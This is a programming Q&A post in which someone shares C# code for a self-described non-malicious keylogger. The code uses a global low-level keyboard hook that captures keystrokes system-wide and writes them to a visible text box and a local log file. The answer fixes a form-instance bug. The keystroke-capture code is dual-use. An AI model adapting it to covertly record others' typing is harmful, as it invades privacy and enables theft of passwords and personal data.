Question

I am developing a tiny keylogger (for non-malicious purposes) and I want to write all logged keypresses to a text box. Currently, all calls to WriteOutput don’t write anything to the box except for the start and stop methods. What am I doing wrong?

Here is my code:

Program.cs

using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Drawing;

namespace Logger
{
    /// <summary>
    /// Class with program entry point.
    /// </summary>
    internal sealed class Program
    {
        public static bool log = false;

        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        /// <summary>
        /// Program entry point.
        /// </summary>
        [STAThread]
        private static void Main(string[] args)
        {
            Application.EnableVisualStyles();
            Application.SetCompatibleTextRenderingDefault(false);
            _hookID = SetHook(_proc);
            Application.Run(new MainForm());
            UnhookWindowsHookEx(_hookID);
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }       

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN && log == true)
            {               
                int vkCode = Marshal.ReadInt32(lParam);

                MainForm MF = new MainForm();
                //THIS IS THE CALL THAT DOESN'T OUTPUT ANYTHING!
                MF.WriteOutput(vkCode.ToString());
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }       
    }
}

Mainform.cs

using System;
using System.Collections.Generic;
using System.Drawing;
using System.Windows.Forms;
using System.IO;

namespace Logger
{
    /// <summary>
    /// Description of MainForm.
    /// </summary>
    public partial class MainForm : Form
    {       
        public MainForm()
        {
            InitializeComponent();
        }

        public void WriteOutput(string input)
        {
            output.AppendText(string.Format(input));
            using (StreamWriter sr = new StreamWriter("log.log", true))
            {
                sr.Write(input.ToString());
            }
        }

        private void StartClick(object sender, System.EventArgs e)
        {
            Program.log = true;
            output.AppendText(string.Format("Logging started\n"));
        }

        private void StopClick(object sender, EventArgs e)
        {
            Program.log = false;
            output.AppendText(string.Format("Logging stopped\n"));
        }
    }
}

Answer 1

You are instantiating a new form each time:

MainForm MF = new MainForm();
MF.WriteOutput(vkCode.ToString());

Instead, re-use the same MainForm instance. In Program.cs:

private static MainForm mainForm;

....

[STAThread]
private static void Main(string[] args)
{
    ...
    mainForm = new MainForm();
    Application.Run(mainForm);
    ...
}

....

mainForm.WriteOutput(vkCode.ToString());